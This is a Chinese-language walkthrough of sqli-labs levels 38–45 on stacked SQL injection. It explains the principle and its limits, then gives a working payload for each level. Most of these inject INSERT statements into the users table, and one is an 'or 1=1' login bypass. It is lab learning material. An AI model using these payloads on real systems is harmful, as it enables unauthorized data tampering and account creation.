slqilabs靶场记录堆叠注入(八)
slqilabs靶场记录堆叠注入(八)
Stacked injections-堆叠注入
从字面意思上来看就是一堆的sql语句一起执行.而在真实的运用中也是这样的,我们知道在mysql中,主要是在命令行中,每一条语句的结尾加;表示语句的结束.这样我们就想到了是不是可以多句一起使用.这个就叫stacked injection.
原理介绍
在sql中,分号;是用来表示一条sql语句的结束,试着想一下我们在;结束一个sql语句之后继续构造下一条语句,会不会一起执行?因为这个想法也就造成了堆叠注入.而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别吗?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句.
户输入: |
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境都可以执行,可能收到api或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序
在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入的第二个语句产生错或者结果只能被忽略,我们在前端界面是无法看到返回的结果的.因此,在读取数据时,我们建议使用union(联合)注入.同时在使用堆叠注入之前.我们也是需要知道一些数据库的相关信息的.
less-38基于错误GET单引号字符型堆叠注入
mysqli_multi_query()函数执行一个或多个针对数据库的查询.多个查询用分号进行分割.(有这个才能进行堆叠)分号我们可以加入新的语句
堆叠注入需要依靠前文所写的注入方式来获取数据库的信息(因为源代码没有进行任何过滤,还爆数据库错误信息,是最简单的SQL注入),在这里只演示如何插入新的数据。
1';insert into users(id,username,password) values(38,'wanan','1')--+ |
可以发现语句已经写进去了
PHP mysqli_multi_query() 函数 |
less-39基于错误GET数字型堆叠注入
数字型注入
?id=1;insert into users(id,username,password) values(39,'less39','hello')--+ |
less-40基于BoolGET单引号小括号字符型盲注堆叠注入
?id=1');insert into users values(40,'Less40','hello')--+ |
less-41基于BoolGET数字型盲注堆叠注入
?id=1;insert into users values(41,'Less41','hello')--+ |
less-42基于存储POST单引号字符型堆叠注入
这关看起来和less-24是一样的界面,但是实际上是有不同的,我们点击新建一个用户
需要进行创建用户再进行侵入
1';insert into users(id,username,password) values(42,'Less42','Less42')# |
成功使用新建的用户登录进去
less-43基于存储POST单引号小括号字符型堆叠注入
本关与 42 关的原理基本一致,我们还是定位在 login.php 中的 password。看一下 sql 语句为:
1');insert into users values(43,'Less43','Less43')# |
Less-44基于存储POST单引号字符型盲注堆叠注入
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与 42 关的区 别就在于没有报错信息,当 POST 没有报错回显时,判断查询语句就需要构造永真条件同化登录失败与查询出错,通过返回的图片不同来确定是否符合查询语句闭合的条件
login_user=admin&login_password=1 or 1=1--+ |
1';insert into users values ('44','less44','hello')# |
less-45基于存储POST单引号小括号字符型盲注堆叠注入
45 关与 43 关的 payload 是一样的,只不过 45 关依旧没有报错信息。
1');insert into users(id,username,password) values(45,'Less45','Less45')# |